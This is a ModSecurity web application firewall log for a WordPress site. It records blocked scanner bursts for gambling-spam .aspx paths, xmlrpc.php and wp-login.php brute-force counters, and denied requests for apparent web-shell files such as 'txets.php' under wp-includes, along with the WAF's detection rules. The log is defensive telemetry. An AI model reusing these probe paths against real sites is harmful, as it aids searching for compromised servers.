[Sun May 03 16:29:37.459024 2026] [:error] [pid 34432:tid 34455] [client 145.239.195.38:49738] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afcHcZ73JKVQ0wlof4IpHAAAAdU"]
[Sun May 03 16:29:39.024018 2026] [:error] [pid 34432:tid 34452] [client 145.239.195.38:49748] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afcHc573JKVQ0wlof4IpIwAAAdI"]
[Sun May 03 16:29:39.542495 2026] [:error] [pid 37126:tid 37166] [client 145.239.195.38:49762] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afcHc_R_A42N-LtDyrskVAAAAA0"]
[Sun May 03 16:29:40.999305 2026] [:error] [pid 37246:tid 37270] [client 145.239.195.38:49770] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afcHdDhvYFGNwhnPamr-2AAAARQ"]
[Sun May 03 16:29:41.543649 2026] [:error] [pid 40386:tid 40401] [client 145.239.195.38:49772] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afcHdVHJDYRXUf3IbRQZ7gAAAM0"]
[Sun May 03 16:29:43.113955 2026] [:error] [pid 37127:tid 37195] [client 145.239.195.38:49788] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afcHd_8khJXb5O5aWVUxmQAAAEs"]
[Sun May 03 16:29:43.636610 2026] [:error] [pid 54535:tid 54547] [client 145.239.195.38:37384] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afcHd_Ryz79iR-ntJRK57gAAAgo"]
[Sun May 03 16:29:45.028933 2026] [:error] [pid 34432:tid 34440] [client 145.239.195.38:37396] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afcHeZ73JKVQ0wlof4IpPAAAAcY"]
[Sun May 03 16:29:45.537308 2026] [:error] [pid 34432:tid 34442] [client 145.239.195.38:37408] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afcHeZ73JKVQ0wlof4IpRAAAAcg"]
[Sun May 03 16:29:47.181513 2026] [:error] [pid 34432:tid 34452] [client 145.239.195.38:37416] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afcHe573JKVQ0wlof4IpVwAAAdI"]
[Sun May 03 16:29:47.470585 2026] [:error] [pid 34432:tid 34438] [client 145.239.195.38:37430] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afcHe573JKVQ0wlof4IpWwAAAcQ"]
[Sun May 03 16:29:49.158650 2026] [:error] [pid 37246:tid 37273] [client 145.239.195.38:37446] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afcHfThvYFGNwhnPamr-5gAAARc"]
[Sun May 03 16:29:49.434330 2026] [:error] [pid 37246:tid 37271] [client 145.239.195.38:37454] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afcHfThvYFGNwhnPamr-5wAAARU"]
[Sun May 03 16:29:51.150581 2026] [:error] [pid 34432:tid 34438] [client 145.239.195.38:37470] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "afcHf573JKVQ0wlof4IpmQAAAcQ"]
[Sun May 03 16:29:51.485685 2026] [:error] [pid 34432:tid 34458] [client 145.239.195.38:37472] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afcHf573JKVQ0wlof4IpoAAAAdg"]
[Sun May 03 16:29:53.157745 2026] [:error] [pid 34432:tid 34453] [client 145.239.195.38:37478] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "afcHgZ73JKVQ0wlof4IpzwAAAdM"]
[Sun May 03 16:29:53.350495 2026] [:error] [pid 37126:tid 37158] [client 145.239.195.38:45762] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afcHgfR_A42N-LtDyrsksAAAAAU"]
[Sun May 03 16:29:55.253130 2026] [:error] [pid 34432:tid 34456] [client 145.239.195.38:45778] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afcHg573JKVQ0wlof4IqEgAAAdY"]
[Sun May 03 16:29:55.529089 2026] [:error] [pid 34432:tid 34443] [client 145.239.195.38:45790] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afcHg573JKVQ0wlof4IqGwAAAck"]
[Sun May 03 16:29:57.255252 2026] [:error] [pid 37246:tid 37267] [client 145.239.195.38:45800] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afcHhThvYFGNwhnPamr_EAAAARE"]
[Sun May 03 16:29:57.407140 2026] [:error] [pid 37126:tid 37175] [client 145.239.195.38:45808] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afcHhfR_A42N-LtDyrsk2QAAABY"]
[Sun May 03 18:58:24.019659 2026] [:error] [pid 37126:tid 37157] [client 212.125.4.206:50808] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afcqUPR_A42N-LtDyrs6nQAAAAQ"]
[Sun May 03 19:07:49.373109 2026] [:error] [pid 40456:tid 40474] [client 103.172.76.104:21189] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afcshTSujTvwdzEkjSdRewAAAZA"]
[Sun May 03 19:08:56.435587 2026] [:error] [pid 34432:tid 34442] [client 103.172.76.104:19945] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afcsyJ73JKVQ0wlof4JejwAAAcg"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F&reauth=1
[Sun May 03 20:08:02.040364 2026] [:error] [pid 34432:tid 34441] [client 114.119.129.171:64107] [client 114.119.129.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/about/"] [unique_id "afc6op73JKVQ0wlof4JwbQAAAcc"], referer: https://gigfragments.org/about/
[Sun May 03 21:21:38.407457 2026] [:error] [pid 37246:tid 37253] [client 5.141.84.215:54534] [client 5.141.84.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.141.84.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afdL4jhvYFGNwhnPamow7gAAAQU"]
[Mon May 04 00:18:22.495742 2026] [:error] [pid 40456:tid 40481] [client 1.15.52.154:33756] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afd1TjSujTvwdzEkjSdpTAAAAZc"]
[Mon May 04 00:28:34.243667 2026] [:error] [pid 40422:tid 40435] [client 49.51.253.83:56162] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afd3skHBbBLrXh6PButeKgAAAUk"]
[Mon May 04 01:26:40.775692 2026] [:error] [pid 37246:tid 37268] [client 20.104.98.52:7213] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afeFUDhvYFGNwhnPampIgAAAARI"]
[Mon May 04 01:26:43.148046 2026] [:error] [pid 40386:tid 40392] [client 20.104.98.52:28757] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afeFU1HJDYRXUf3IbRQ9mAAAAMQ"]
[Mon May 04 02:40:24.746885 2026] [:error] [pid 40386:tid 40391] [client 36.77.247.203:60472] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWmFHJDYRXUf3IbRRIWgAAAMM"]
[Mon May 04 02:40:35.346200 2026] [:error] [pid 37127:tid 37198] [client 36.77.247.203:20327] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWo_8khJXb5O5aWVVZGAAAAE0"]
[Mon May 04 02:40:45.886886 2026] [:error] [pid 37130:tid 37213] [client 36.77.247.203:20743] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWraIu7bmXKXicRk-qGwAAAIA"]
[Mon May 04 02:40:56.428457 2026] [:error] [pid 37127:tid 37188] [client 36.77.247.203:61692] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWuP8khJXb5O5aWVVZHgAAAEQ"]
[Mon May 04 02:41:06.909782 2026] [:error] [pid 37127:tid 37187] [client 36.77.247.203:62216] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWwv8khJXb5O5aWVVZIAAAAEM"]
[Mon May 04 02:41:17.382383 2026] [:error] [pid 37126:tid 37171] [client 36.77.247.203:62674] [client 36.77.247.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.77.247.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afeWzfR_A42N-LtDyrthDwAAABI"]
[Mon May 04 03:20:51.962563 2026] [:error] [pid 26759:tid 26847] [client 191.99.26.128:23148] [client 191.99.26.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.99.26.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afegE3TQzuI3-n6k7pIDWgAAAJg"]
[Mon May 04 05:19:40.807300 2026] [:error] [pid 57154:tid 57159] [client 170.106.163.48:57912] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afe77P4DAn7umy_ATRzW2gAAAMI"]
[Mon May 04 05:46:58.111110 2026] [:error] [pid 58625:tid 58633] [client 45.94.31.15:57423] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "affCUvZfjPGFqq6KSLkZ2QAAAQU"]
[Mon May 04 05:46:58.609420 2026] [:error] [pid 31168:tid 31177] [client 45.94.31.15:57568] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "affCUrJUVgN8GV2P4h5QcAAAAUc"]
[Mon May 04 05:46:59.093881 2026] [:error] [pid 57154:tid 57157] [client 45.94.31.15:57672] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "affCU_4DAn7umy_ATRze4AAAAMA"]
[Mon May 04 05:47:01.901543 2026] [:error] [pid 57046:tid 57076] [client 45.94.31.15:58516] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "affCVYDA4d1tYGL7mqAhtwAAAA8"]
[Mon May 04 06:29:19.648808 2026] [:error] [pid 58625:tid 58629] [client 162.62.213.187:37514] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "affMP_ZfjPGFqq6KSLksswAAAQE"]
[Mon May 04 08:02:45.666531 2026] [:error] [pid 12051:tid 12077] [client 81.167.26.57:18982] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "affiJerVB-w_PyOHK6kshAAAAVg"]
[Mon May 04 08:02:47.632319 2026] [:error] [pid 11959:tid 11998] [client 81.167.26.57:27032] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "affiJwojk2nvxs7h5KvDfQAAAMo"]
[Mon May 04 08:02:49.451401 2026] [:error] [pid 12051:tid 12077] [client 81.167.26.57:29527] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "affiKerVB-w_PyOHK6kskgAAAVg"]
[Mon May 04 08:02:51.430036 2026] [:error] [pid 12051:tid 12067] [client 81.167.26.57:18027] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "affiK-rVB-w_PyOHK6kslQAAAU4"]
[Mon May 04 08:02:53.409573 2026] [:error] [pid 12051:tid 12057] [client 81.167.26.57:30812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "affiLerVB-w_PyOHK6ksmgAAAUQ"]
[Mon May 04 08:02:55.391640 2026] [:error] [pid 12022:tid 12047] [client 81.167.26.57:20830] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "affiL0VhgvCNKBWnaTIgswAAAJc"]
[Mon May 04 08:02:57.375257 2026] [:error] [pid 11959:tid 12009] [client 81.167.26.57:28267] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "affiMQojk2nvxs7h5KvDjQAAANU"]
[Mon May 04 08:02:59.353943 2026] [:error] [pid 12051:tid 12066] [client 81.167.26.57:62222] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "affiM-rVB-w_PyOHK6ksoAAAAU0"]
[Mon May 04 08:03:01.319048 2026] [:error] [pid 12022:tid 12031] [client 81.167.26.57:36575] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "affiNUVhgvCNKBWnaTIgwQAAAIc"]
[Mon May 04 08:03:03.310030 2026] [:error] [pid 12022:tid 12026] [client 81.167.26.57:64284] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "affiN0VhgvCNKBWnaTIgyQAAAII"]
[Mon May 04 08:03:05.311439 2026] [:error] [pid 11959:tid 11999] [client 81.167.26.57:53189] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "affiOQojk2nvxs7h5KvDlQAAAMs"]
